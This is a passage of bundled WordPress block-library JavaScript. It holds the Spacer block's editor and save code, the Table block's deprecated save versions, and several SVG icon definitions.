50079 const [temporaryWidth, setTemporaryWidth] = (0,external_wp_element_namespaceObject.useState)(null);
50080 const onResizeStart = () => toggleSelection(false);
50081 const onResizeStop = () => toggleSelection(true);
50082 const { __unstableMarkNextChangeAsNotPersistent } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
50083 const handleOnVerticalResizeStop = (newHeight) => {
50084 onResizeStop();
50085 if (isFlexLayout) {
50086 setAttributes({
50087 style: {
50088 ...blockStyle,
50089 layout: {
50090 ...layout,
50091 flexSize: newHeight,
50092 selfStretch: "fixed"
50093 }
50094 }
50095 });
50096 }
50097 setAttributes({ height: newHeight });
50098 setTemporaryHeight(null);
50099 };
50100 const handleOnHorizontalResizeStop = (newWidth) => {
50101 onResizeStop();
50102 if (isFlexLayout) {
50103 setAttributes({
50104 style: {
50105 ...blockStyle,
50106 layout: {
50107 ...layout,
50108 flexSize: newWidth,
50109 selfStretch: "fixed"
50110 }
50111 }
50112 });
50113 }
50114 setAttributes({ width: newWidth });
50115 setTemporaryWidth(null);
50116 };
50117 const getHeightForVerticalBlocks = () => {
50118 if (isFlexLayout) {
50119 return void 0;
50120 }
50121 return temporaryHeight || (0,external_wp_blockEditor_namespaceObject.getSpacingPresetCssVar)(height) || void 0;
50122 };
50123 const getWidthForHorizontalBlocks = () => {
50124 if (isFlexLayout) {
50125 return void 0;
50126 }
50127 return temporaryWidth || (0,external_wp_blockEditor_namespaceObject.getSpacingPresetCssVar)(width) || void 0;
50128 };
50129 const sizeConditionalOnOrientation = inheritedOrientation === "horizontal" ? temporaryWidth || flexSize : temporaryHeight || flexSize;
50130 const style = {
50131 height: inheritedOrientation === "horizontal" ? 24 : getHeightForVerticalBlocks(),
50132 width: inheritedOrientation === "horizontal" ? getWidthForHorizontalBlocks() : void 0,
50133 // In vertical flex containers, the spacer shrinks to nothing without a minimum width.
50134 minWidth: inheritedOrientation === "vertical" && isFlexLayout ? 48 : void 0,
50135 // Add flex-basis so temporary sizes are respected.
50136 flexBasis: isFlexLayout ? sizeConditionalOnOrientation : void 0,
50137 // Remove flex-grow when resizing.
50138 flexGrow: isFlexLayout && isResizing ? 0 : void 0
50139 };
50140 const resizableBoxWithOrientation = (blockOrientation) => {
50141 if (blockOrientation === "horizontal") {
50142 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50143 ResizableSpacer,
50144 {
50145 minWidth: MIN_SPACER_SIZE,
50146 enable: {
50147 top: false,
50148 right: true,
50149 bottom: false,
50150 left: false,
50151 topRight: false,
50152 bottomRight: false,
50153 bottomLeft: false,
50154 topLeft: false
50155 },
50156 orientation: blockOrientation,
50157 onResizeStart,
50158 onResize: setTemporaryWidth,
50159 onResizeStop: handleOnHorizontalResizeStop,
50160 isSelected,
50161 isResizing,
50162 setIsResizing
50163 }
50164 );
50165 }
50166 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50167 ResizableSpacer,
50168 {
50169 minHeight: MIN_SPACER_SIZE,
50170 enable: {
50171 top: false,
50172 right: false,
50173 bottom: true,
50174 left: false,
50175 topRight: false,
50176 bottomRight: false,
50177 bottomLeft: false,
50178 topLeft: false
50179 },
50180 orientation: blockOrientation,
50181 onResizeStart,
50182 onResize: setTemporaryHeight,
50183 onResizeStop: handleOnVerticalResizeStop,
50184 isSelected,
50185 isResizing,
50186 setIsResizing
50187 }
50188 ) });
50189 };
50190 (0,external_wp_element_namespaceObject.useEffect)(() => {
50191 const setAttributesCovertly = (nextAttributes) => {
50192 __unstableMarkNextChangeAsNotPersistent();
50193 setAttributes(nextAttributes);
50194 };
50195 if (isFlexLayout && selfStretch !== "fill" && selfStretch !== "fit" && flexSize === void 0) {
50196 if (inheritedOrientation === "horizontal") {
50197 const newSize = (0,external_wp_blockEditor_namespaceObject.getCustomValueFromPreset)(width, spacingSizes) || (0,external_wp_blockEditor_namespaceObject.getCustomValueFromPreset)(height, spacingSizes) || "100px";
50198 setAttributesCovertly({
50199 width: "0px",
50200 style: {
50201 ...blockStyle,
50202 layout: {
50203 ...layout,
50204 flexSize: newSize,
50205 selfStretch: "fixed"
50206 }
50207 }
50208 });
50209 } else {
50210 const newSize = (0,external_wp_blockEditor_namespaceObject.getCustomValueFromPreset)(height, spacingSizes) || (0,external_wp_blockEditor_namespaceObject.getCustomValueFromPreset)(width, spacingSizes) || "100px";
50211 setAttributesCovertly({
50212 height: "0px",
50213 style: {
50214 ...blockStyle,
50215 layout: {
50216 ...layout,
50217 flexSize: newSize,
50218 selfStretch: "fixed"
50219 }
50220 }
50221 });
50222 }
50223 } else if (isFlexLayout && (selfStretch === "fill" || selfStretch === "fit")) {
50224 setAttributesCovertly(
50225 inheritedOrientation === "horizontal" ? { width: void 0 } : { height: void 0 }
50226 );
50227 } else if (!isFlexLayout && (selfStretch || flexSize)) {
50228 setAttributesCovertly({
50229 ...inheritedOrientation === "horizontal" ? { width: flexSize } : { height: flexSize },
50230 style: {
50231 ...blockStyle,
50232 layout: {
50233 ...layout,
50234 flexSize: void 0,
50235 selfStretch: void 0
50236 }
50237 }
50238 });
50239 }
50240 }, [
50241 blockStyle,
50242 flexSize,
50243 height,
50244 inheritedOrientation,
50245 isFlexLayout,
50246 layout,
50247 selfStretch,
50248 setAttributes,
50249 spacingSizes,
50250 width,
50251 __unstableMarkNextChangeAsNotPersistent
50252 ]);
50253 const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
50254 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
50255 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50256 external_wp_primitives_namespaceObject.View,
50257 {
50258 ...(0,external_wp_blockEditor_namespaceObject.useBlockProps)({
50259 style,
50260 className: dist_clsx(className, {
50261 "custom-sizes-disabled": disableCustomSpacingSizes
50262 })
50263 }),
50264 children: blockEditingMode === "default" && resizableBoxWithOrientation(inheritedOrientation)
50265 }
50266 ),
50267 !isFlexLayout && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50268 SpacerControls,
50269 {
50270 setAttributes,
50271 height: temporaryHeight || height,
50272 width: temporaryWidth || width,
50273 orientation: inheritedOrientation,
50274 isResizing
50275 }
50276 )
50277 ] });
50278};
50279var spacer_edit_edit_default = SpacerEdit;
50280
50281
50282;// ./node_modules/@wordpress/block-library/build-module/spacer/block.json
50283const spacer_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/spacer","title":"Spacer","category":"design","description":"Add white space between blocks and customize its height.","textdomain":"default","attributes":{"height":{"type":"string","default":"100px"},"width":{"type":"string"}},"usesContext":["orientation"],"supports":{"anchor":true,"spacing":{"margin":["top","bottom"],"__experimentalDefaultControls":{"margin":true}},"interactivity":{"clientNavigation":true}},"editorStyle":"wp-block-spacer-editor","style":"wp-block-spacer"}');
50284;// ./node_modules/@wordpress/block-library/build-module/spacer/transforms.js
50285
50286const spacer_transforms_transforms = {
50287 to: [
50288 {
50289 type: "block",
50290 blocks: ["core/separator"],
50291 // Transform to Separator.
50292 transform: ({ anchor }) => {
50293 return (0,external_wp_blocks_namespaceObject.createBlock)("core/separator", {
50294 anchor: anchor || ""
50295 });
50296 }
50297 }
50298 ]
50299};
50300var spacer_transforms_transforms_default = spacer_transforms_transforms;
50301
50302
50303;// ./node_modules/@wordpress/block-library/build-module/spacer/save.js
50304
50305
50306function spacer_save_save({ attributes }) {
50307 const { height, width, style } = attributes;
50308 const { layout: { selfStretch } = {} } = style || {};
50309 const finalHeight = selfStretch === "fill" || selfStretch === "fit" ? void 0 : height;
50310 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50311 "div",
50312 {
50313 ...external_wp_blockEditor_namespaceObject.useBlockProps.save({
50314 style: {
50315 height: (0,external_wp_blockEditor_namespaceObject.getSpacingPresetCssVar)(finalHeight),
50316 width: (0,external_wp_blockEditor_namespaceObject.getSpacingPresetCssVar)(width)
50317 },
50318 "aria-hidden": true
50319 })
50320 }
50321 );
50322}
50323
50324
50325;// ./node_modules/@wordpress/block-library/build-module/spacer/index.js
50326
50327
50328
50329
50330
50331
50332
50333const { name: spacer_name } = spacer_block_namespaceObject;
50334const spacer_settings = {
50335 icon: resize_corner_n_e_default,
50336 transforms: spacer_transforms_transforms_default,
50337 edit: spacer_edit_edit_default,
50338 save: spacer_save_save,
50339 deprecated: spacer_deprecated_deprecated_default
50340};
50341const spacer_init = () => initBlock({ name: spacer_name, metadata: spacer_block_namespaceObject, settings: spacer_settings });
50342
50343
50344;// ./node_modules/@wordpress/icons/build-module/library/block-table.js
50345
50346
50347var block_table_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM5 4.5h14c.3 0 .5.2.5.5v3.5h-15V5c0-.3.2-.5.5-.5zm8 5.5h6.5v3.5H13V10zm-1.5 3.5h-7V10h7v3.5zm-7 5.5v-4h7v4.5H5c-.3 0-.5-.2-.5-.5zm14.5.5h-6V15h6.5v4c0 .3-.2.5-.5.5z" }) });
50348
50349
50350;// ./node_modules/@wordpress/block-library/build-module/table/deprecated.js
50351
50352
50353
50354const oldColors = {
50355 "subtle-light-gray": "#f3f4f5",
50356 "subtle-pale-green": "#e9fbe5",
50357 "subtle-pale-blue": "#e7f5fe",
50358 "subtle-pale-pink": "#fcf0ef"
50359};
50360const v4Query = {
50361 content: {
50362 type: "rich-text",
50363 source: "rich-text"
50364 },
50365 tag: {
50366 type: "string",
50367 default: "td",
50368 source: "tag"
50369 },
50370 scope: {
50371 type: "string",
50372 source: "attribute",
50373 attribute: "scope"
50374 },
50375 align: {
50376 type: "string",
50377 source: "attribute",
50378 attribute: "data-align"
50379 },
50380 colspan: {
50381 type: "string",
50382 source: "attribute",
50383 attribute: "colspan"
50384 },
50385 rowspan: {
50386 type: "string",
50387 source: "attribute",
50388 attribute: "rowspan"
50389 }
50390};
50391const table_deprecated_v4 = {
50392 attributes: {
50393 hasFixedLayout: {
50394 type: "boolean",
50395 default: false
50396 },
50397 caption: {
50398 type: "rich-text",
50399 source: "rich-text",
50400 selector: "figcaption"
50401 },
50402 head: {
50403 type: "array",
50404 default: [],
50405 source: "query",
50406 selector: "thead tr",
50407 query: {
50408 cells: {
50409 type: "array",
50410 default: [],
50411 source: "query",
50412 selector: "td,th",
50413 query: v4Query
50414 }
50415 }
50416 },
50417 body: {
50418 type: "array",
50419 default: [],
50420 source: "query",
50421 selector: "tbody tr",
50422 query: {
50423 cells: {
50424 type: "array",
50425 default: [],
50426 source: "query",
50427 selector: "td,th",
50428 query: v4Query
50429 }
50430 }
50431 },
50432 foot: {
50433 type: "array",
50434 default: [],
50435 source: "query",
50436 selector: "tfoot tr",
50437 query: {
50438 cells: {
50439 type: "array",
50440 default: [],
50441 source: "query",
50442 selector: "td,th",
50443 query: v4Query
50444 }
50445 }
50446 }
50447 },
50448 supports: {
50449 anchor: true,
50450 align: true,
50451 color: {
50452 __experimentalSkipSerialization: true,
50453 gradients: true,
50454 __experimentalDefaultControls: {
50455 background: true,
50456 text: true
50457 }
50458 },
50459 spacing: {
50460 margin: true,
50461 padding: true,
50462 __experimentalDefaultControls: {
50463 margin: false,
50464 padding: false
50465 }
50466 },
50467 typography: {
50468 fontSize: true,
50469 lineHeight: true,
50470 __experimentalFontFamily: true,
50471 __experimentalFontStyle: true,
50472 __experimentalFontWeight: true,
50473 __experimentalLetterSpacing: true,
50474 __experimentalTextTransform: true,
50475 __experimentalTextDecoration: true,
50476 __experimentalDefaultControls: {
50477 fontSize: true
50478 }
50479 },
50480 __experimentalBorder: {
50481 __experimentalSkipSerialization: true,
50482 color: true,
50483 style: true,
50484 width: true,
50485 __experimentalDefaultControls: {
50486 color: true,
50487 style: true,
50488 width: true
50489 }
50490 },
50491 __experimentalSelector: ".wp-block-table > table",
50492 interactivity: {
50493 clientNavigation: true
50494 }
50495 },
50496 save({ attributes }) {
50497 const { hasFixedLayout, head, body, foot, caption } = attributes;
50498 const isEmpty = !head.length && !body.length && !foot.length;
50499 if (isEmpty) {
50500 return null;
50501 }
50502 const colorProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetColorClassesAndStyles)(attributes);
50503 const borderProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetBorderClassesAndStyles)(attributes);
50504 const classes = dist_clsx(colorProps.className, borderProps.className, {
50505 "has-fixed-layout": hasFixedLayout
50506 });
50507 const hasCaption = !external_wp_blockEditor_namespaceObject.RichText.isEmpty(caption);
50508 const Section = ({ type, rows }) => {
50509 if (!rows.length) {
50510 return null;
50511 }
50512 const Tag = `t${type}`;
50513 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tag, { children: rows.map(({ cells }, rowIndex) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("tr", { children: cells.map(
50514 ({
50515 content,
50516 tag,
50517 scope,
50518 align,
50519 colspan,
50520 rowspan
50521 }, cellIndex) => {
50522 const cellClasses = dist_clsx({
50523 [`has-text-align-${align}`]: align
50524 });
50525 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50526 external_wp_blockEditor_namespaceObject.RichText.Content,
50527 {
50528 className: cellClasses ? cellClasses : void 0,
50529 "data-align": align,
50530 tagName: tag,
50531 value: content,
50532 scope: tag === "th" ? scope : void 0,
50533 colSpan: colspan,
50534 rowSpan: rowspan
50535 },
50536 cellIndex
50537 );
50538 }
50539 ) }, rowIndex)) });
50540 };
50541 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("figure", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save(), children: [
50542 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
50543 "table",
50544 {
50545 className: classes === "" ? void 0 : classes,
50546 style: { ...colorProps.style, ...borderProps.style },
50547 children: [
50548 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Section, { type: "head", rows: head }),
50549 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Section, { type: "body", rows: body }),
50550 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Section, { type: "foot", rows: foot })
50551 ]
50552 }
50553 ),
50554 hasCaption && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50555 external_wp_blockEditor_namespaceObject.RichText.Content,
50556 {
50557 tagName: "figcaption",
50558 value: caption,
50559 className: (0,external_wp_blockEditor_namespaceObject.__experimentalGetElementClassName)(
50560 "caption"
50561 )
50562 }
50563 )
50564 ] });
50565 }
50566};
50567const v3Query = {
50568 content: {
50569 type: "string",
50570 source: "html"
50571 },
50572 tag: {
50573 type: "string",
50574 default: "td",
50575 source: "tag"
50576 },
50577 scope: {
50578 type: "string",
50579 source: "attribute",
50580 attribute: "scope"
50581 },
50582 align: {
50583 type: "string",
50584 source: "attribute",
50585 attribute: "data-align"
50586 }
50587};
50588const table_deprecated_v3 = {
50589 attributes: {
50590 hasFixedLayout: {
50591 type: "boolean",
50592 default: false
50593 },
50594 caption: {
50595 type: "string",
50596 source: "html",
50597 selector: "figcaption",
50598 default: ""
50599 },
50600 head: {
50601 type: "array",
50602 default: [],
50603 source: "query",
50604 selector: "thead tr",
50605 query: {
50606 cells: {
50607 type: "array",
50608 default: [],
50609 source: "query",
50610 selector: "td,th",
50611 query: v3Query
50612 }
50613 }
50614 },
50615 body: {
50616 type: "array",
50617 default: [],
50618 source: "query",
50619 selector: "tbody tr",
50620 query: {
50621 cells: {
50622 type: "array",
50623 default: [],
50624 source: "query",
50625 selector: "td,th",
50626 query: v3Query
50627 }
50628 }
50629 },
50630 foot: {
50631 type: "array",
50632 default: [],
50633 source: "query",
50634 selector: "tfoot tr",
50635 query: {
50636 cells: {
50637 type: "array",
50638 default: [],
50639 source: "query",
50640 selector: "td,th",
50641 query: v3Query
50642 }
50643 }
50644 }
50645 },
50646 supports: {
50647 anchor: true,
50648 align: true,
50649 color: {
50650 __experimentalSkipSerialization: true,
50651 gradients: true,
50652 __experimentalDefaultControls: {
50653 background: true,
50654 text: true
50655 }
50656 },
50657 spacing: {
50658 margin: true,
50659 padding: true
50660 },
50661 typography: {
50662 fontSize: true,
50663 lineHeight: true,
50664 __experimentalFontFamily: true,
50665 __experimentalFontStyle: true,
50666 __experimentalFontWeight: true,
50667 __experimentalLetterSpacing: true,
50668 __experimentalTextTransform: true,
50669 __experimentalTextDecoration: true,
50670 __experimentalDefaultControls: {
50671 fontSize: true
50672 }
50673 },
50674 __experimentalBorder: {
50675 __experimentalSkipSerialization: true,
50676 color: true,
50677 style: true,
50678 width: true,
50679 __experimentalDefaultControls: {
50680 color: true,
50681 style: true,
50682 width: true
50683 }
50684 },
50685 __experimentalSelector: ".wp-block-table > table"
50686 },
50687 save({ attributes }) {
50688 const { hasFixedLayout, head, body, foot, caption } = attributes;
50689 const isEmpty = !head.length && !body.length && !foot.length;
50690 if (isEmpty) {
50691 return null;
50692 }
50693 const colorProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetColorClassesAndStyles)(attributes);
50694 const borderProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetBorderClassesAndStyles)(attributes);
50695 const classes = dist_clsx(colorProps.className, borderProps.className, {
50696 "has-fixed-layout": hasFixedLayout
50697 });
50698 const hasCaption = !external_wp_blockEditor_namespaceObject.RichText.isEmpty(caption);
50699 const Section = ({ type, rows }) => {
50700 if (!rows.length) {
50701 return null;
50702 }
50703 const Tag = `t${type}`;
50704 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tag, { children: rows.map(({ cells }, rowIndex) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("tr", { children: cells.map(
50705 ({ content, tag, scope, align }, cellIndex) => {
50706 const cellClasses = dist_clsx({
50707 [`has-text-align-${align}`]: align
50708 });
50709 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50710 external_wp_blockEditor_namespaceObject.RichText.Content,
50711 {
50712 className: cellClasses ? cellClasses : void 0,
50713 "data-align": align,
50714 tagName: tag,
50715 value: content,
50716 scope: tag === "th" ? scope : void 0
50717 },
50718 cellIndex
50719 );
50720 }
50721 ) }, rowIndex)) });
50722 };
50723 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("figure", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save(), children: [
50724 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
50725 "table",
50726 {
50727 className: classes === "" ? void 0 : classes,
50728 style: { ...colorProps.style, ...borderProps.style },
50729 children: [
50730 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Section, { type: "head", rows: head }),
50731 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Section, { type: "body", rows: body }),
50732 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Section, { type: "foot", rows: foot })
50733 ]
50734 }
50735 ),
50736 hasCaption && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { tagName: "figcaption", value: caption })
50737 ] });
50738 }
50739};
50740const v2Query = {
50741 content: {
50742 type: "string",
50743 source: "html"
50744 },
50745 tag: {
50746 type: "string",
50747 default: "td",
50748 source: "tag"
50749 },
50750 scope: {
50751 type: "string",
50752 source: "attribute",
50753 attribute: "scope"
50754 },
50755 align: {
50756 type: "string",
50757 source: "attribute",
50758 attribute: "data-align"
50759 }
50760};
50761const table_deprecated_v2 = {
50762 attributes: {
50763 hasFixedLayout: {
50764 type: "boolean",
50765 default: false
50766 },
50767 backgroundColor: {
50768 type: "string"
50769 },
50770 caption: {
50771 type: "string",
50772 source: "html",
50773 selector: "figcaption",
50774 default: ""
50775 },
50776 head: {
50777 type: "array",
50778 default: [],
50779 source: "query",
50780 selector: "thead tr",
50781 query: {
50782 cells: {
50783 type: "array",
50784 default: [],
50785 source: "query",
50786 selector: "td,th",
50787 query: v2Query
50788 }
50789 }
50790 },
50791 body: {
50792 type: "array",
50793 default: [],
50794 source: "query",
50795 selector: "tbody tr",
50796 query: {
50797 cells: {
50798 type: "array",
50799 default: [],
50800 source: "query",
50801 selector: "td,th",
50802 query: v2Query
50803 }
50804 }
50805 },
50806 foot: {
50807 type: "array",
50808 default: [],
50809 source: "query",
50810 selector: "tfoot tr",
50811 query: {
50812 cells: {
50813 type: "array",
50814 default: [],
50815 source: "query",
50816 selector: "td,th",
50817 query: v2Query
50818 }
50819 }
50820 }
50821 },
50822 supports: {
50823 anchor: true,
50824 align: true,
50825 __experimentalSelector: ".wp-block-table > table"
50826 },
50827 save: ({ attributes }) => {
50828 const { hasFixedLayout, head, body, foot, backgroundColor, caption } = attributes;
50829 const isEmpty = !head.length && !body.length && !foot.length;
50830 if (isEmpty) {
50831 return null;
50832 }
50833 const backgroundClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
50834 "background-color",
50835 backgroundColor
50836 );
50837 const classes = dist_clsx(backgroundClass, {
50838 "has-fixed-layout": hasFixedLayout,
50839 "has-background": !!backgroundClass
50840 });
50841 const hasCaption = !external_wp_blockEditor_namespaceObject.RichText.isEmpty(caption);
50842 const Section = ({ type, rows }) => {
50843 if (!rows.length) {
50844 return null;
50845 }
50846 const Tag = `t${type}`;
50847 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tag, { children: rows.map(({ cells }, rowIndex) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("tr", { children: cells.map(
50848 ({ content, tag, scope, align }, cellIndex) => {
50849 const cellClasses = dist_clsx({
50850 [`has-text-align-${align}`]: align
50851 });
50852 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50853 external_wp_blockEditor_namespaceObject.RichText.Content,
50854 {
50855 className: cellClasses ? cellClasses : void 0,
50856 "data-align": align,
50857 tagName: tag,
50858 value: content,
50859 scope: tag === "th" ? scope : void 0
50860 },
50861 cellIndex
50862 );
50863 }
50864 ) }, rowIndex)) });
50865 };
50866 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("figure", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save(), children: [
50867 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("table", { className: classes === "" ? void 0 : classes, children: [
50868 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Section, { type: "head", rows: head }),
50869 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Section, { type: "body", rows: body }),
50870 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Section, { type: "foot", rows: foot })
50871 ] }),
50872 hasCaption && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { tagName: "figcaption", value: caption })
50873 ] });
50874 },
50875 isEligible: (attributes) => {
50876 return attributes.backgroundColor && attributes.backgroundColor in oldColors && !attributes.style;
50877 },
50878 // This version is the first to introduce the style attribute to the
50879 // table block. As a result, we'll explicitly override that.
50880 migrate: (attributes) => {
50881 return {
50882 ...attributes,
50883 backgroundColor: void 0,
50884 style: {
50885 color: {
50886 background: oldColors[attributes.backgroundColor]
50887 }
50888 }
50889 };
50890 }
50891};
50892const v1Query = {
50893 content: {
50894 type: "string",
50895 source: "html"
50896 },
50897 tag: {
50898 type: "string",
50899 default: "td",
50900 source: "tag"
50901 },
50902 scope: {
50903 type: "string",
50904 source: "attribute",
50905 attribute: "scope"
50906 }
50907};
50908const table_deprecated_v1 = {
50909 attributes: {
50910 hasFixedLayout: {
50911 type: "boolean",
50912 default: false
50913 },
50914 backgroundColor: {
50915 type: "string"
50916 },
50917 head: {
50918 type: "array",
50919 default: [],
50920 source: "query",
50921 selector: "thead tr",
50922 query: {
50923 cells: {
50924 type: "array",
50925 default: [],
50926 source: "query",
50927 selector: "td,th",
50928 query: v1Query
50929 }
50930 }
50931 },
50932 body: {
50933 type: "array",
50934 default: [],
50935 source: "query",
50936 selector: "tbody tr",
50937 query: {
50938 cells: {
50939 type: "array",
50940 default: [],
50941 source: "query",
50942 selector: "td,th",
50943 query: v1Query
50944 }
50945 }
50946 },
50947 foot: {
50948 type: "array",
50949 default: [],
50950 source: "query",
50951 selector: "tfoot tr",
50952 query: {
50953 cells: {
50954 type: "array",
50955 default: [],
50956 source: "query",
50957 selector: "td,th",
50958 query: v1Query
50959 }
50960 }
50961 }
50962 },
50963 supports: {
50964 align: true
50965 },
50966 save({ attributes }) {
50967 const { hasFixedLayout, head, body, foot, backgroundColor } = attributes;
50968 const isEmpty = !head.length && !body.length && !foot.length;
50969 if (isEmpty) {
50970 return null;
50971 }
50972 const backgroundClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
50973 "background-color",
50974 backgroundColor
50975 );
50976 const classes = dist_clsx(backgroundClass, {
50977 "has-fixed-layout": hasFixedLayout,
50978 "has-background": !!backgroundClass
50979 });
50980 const Section = ({ type, rows }) => {
50981 if (!rows.length) {
50982 return null;
50983 }
50984 const Tag = `t${type}`;
50985 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tag, { children: rows.map(({ cells }, rowIndex) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("tr", { children: cells.map(
50986 ({ content, tag, scope }, cellIndex) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50987 external_wp_blockEditor_namespaceObject.RichText.Content,
50988 {
50989 tagName: tag,
50990 value: content,
50991 scope: tag === "th" ? scope : void 0
50992 },
50993 cellIndex
50994 )
50995 ) }, rowIndex)) });
50996 };
50997 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("table", { className: classes, children: [
50998 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Section, { type: "head", rows: head }),
50999 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Section, { type: "body", rows: body }),
51000 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Section, { type: "foot", rows: foot })
51001 ] });
51002 }
51003};
51004var table_deprecated_deprecated_default = [table_deprecated_v4, table_deprecated_v3, table_deprecated_v2, table_deprecated_v1];
51005
51006
51007;// ./node_modules/@wordpress/icons/build-module/library/align-left.js
51008
51009
51010var align_left_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M13 5.5H4V4h9v1.5Zm7 7H4V11h16v1.5Zm-7 7H4V18h9v1.5Z" }) });
51011
51012
51013;// ./node_modules/@wordpress/icons/build-module/library/align-center.js
51014
51015
51016var align_center_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M7.5 5.5h9V4h-9v1.5Zm-3.5 7h16V11H4v1.5Zm3.5 7h9V18h-9v1.5Z" }) });
51017
51018
51019;// ./node_modules/@wordpress/icons/build-module/library/align-right.js
51020
51021
51022var align_right_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M11.111 5.5H20V4h-8.889v1.5ZM4 12.5h16V11H4v1.5Zm7.111 7H20V18h-8.889v1.5Z" }) });
51023
51024
51025;// ./node_modules/@wordpress/icons/build-module/library/table-row-before.js
51026
51027
